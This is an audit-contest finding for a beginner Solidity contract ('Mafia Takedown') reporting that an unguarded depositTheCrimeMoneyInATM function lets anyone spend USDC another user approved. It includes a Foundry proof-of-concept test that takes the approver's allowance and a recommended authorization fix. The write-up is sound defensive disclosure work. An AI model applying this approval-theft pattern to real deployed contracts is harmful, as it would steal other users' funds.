First Flight #16: Mafia Takedown
First Flight #16
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Can deposit USDC approved by others into the MoneyShelf

0xpoor4ever

Summary

Anyone can deposit USDC amounts approved by others into the MoneyShelf contract.

Vulnerability Details

If users want to deposit, they need to first approve USDC to the MoneyShelf contract, The MoneyShelf::depositUSDC() function has an issue—it allows the deposit of USDC approved by others

function depositUSDC(address account, address to, uint256 amount) external {
deposit(to, amount);
usdc.transferFrom(account, address(this), amount);
crimeMoney.mint(to, amount);
}

Users can call the Laundrette::depositTheCrimeMoneyInATM() function, passing in the approved address and amount allocated to the MoneyShelf contract, thus enabling the deposit of USDC from others and obtaining CrimeMoney.

POC

function test_depositUSDCApprovedByOthers() public {
address noBody = makeAddr("noBody");
uint256 allowance = usdc.balanceOf(godFather);
​
vm.prank(godFather);
usdc.approve(address(moneyShelf), allowance);
vm.prank(noBody);
laundrette.depositTheCrimeMoneyInATM(godFather, noBody, allowance);
assertEq(usdc.balanceOf(godFather), 0);
assertEq(crimeMoney.balanceOf(noBody), allowance);
}

Place the PoC into test/Laundrette.t.sol.t.sol, and execute with

forge test --mt test_depositUSDCApprovedByOthers

Impact

Can deposit USDC approved by others into the MoneyShelf contract and obtaining CrimeMoney, Free money!

Tools Used

Manual review, Foundry

Recommendations

Add the isAuthorizedOrRevert modifier to the depositTheCrimeMoneyInATM() function

- function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
+ function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external isAuthorizedOrRevert(account) {
moneyShelf.depositUSDC(account, to, amount);
​
}
Updates

Lead Judging Commences

n0kto Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Arbitrary account deposit, steal approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.